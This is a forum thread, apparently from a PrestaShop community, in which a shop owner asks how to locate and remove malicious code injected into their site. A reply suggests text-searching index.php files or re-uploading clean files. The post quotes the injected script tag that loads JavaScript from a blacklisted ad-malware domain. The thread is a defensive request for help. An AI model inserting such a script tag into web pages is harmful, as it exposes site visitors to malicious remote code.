Jump to content

How to detect malicious code?

Recommended Posts


On a Prestashop (versie i get the notification that there is malicious code detected:

<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>

<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>


Update, this is what i see when i do a scan online:

Type:  Malware

Details: This page includes a JavaScript/iframe from domclickext.xyz that is blacklisted by SiteGuarding scanner Labs, reason: unwanted ads, see https://labs.siteguarding.com/?blacklist=domclickext.xyz //domclickext.xyz/212b3d4039ab5319ec.js


Is there a way to delete this? Or a module that does the job?


Through 'inspect' (Chrome) i see the code on the homepage, but it's hard to determine in wich file the code is located.


Is there a way to find the path to the malicious code? Or is there an other way i can use to find the code in the files?


Many thanks!

Edited by kfripont (see edit history)

Share this post

Link to post
Share on other sites

I have seen instances where such code had been inserted in many of the index.php files. So you really need to do some text search to find all the instances. 

If you have a localhost copy of the shop I would delete the files of the shop on the server and re-upload them

Share this post

Link to post
Share on other sites
  • 1 year later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Create New...

Important Information

Cookies ensure the smooth running of our services. Using these, you accept the use of cookies. Learn More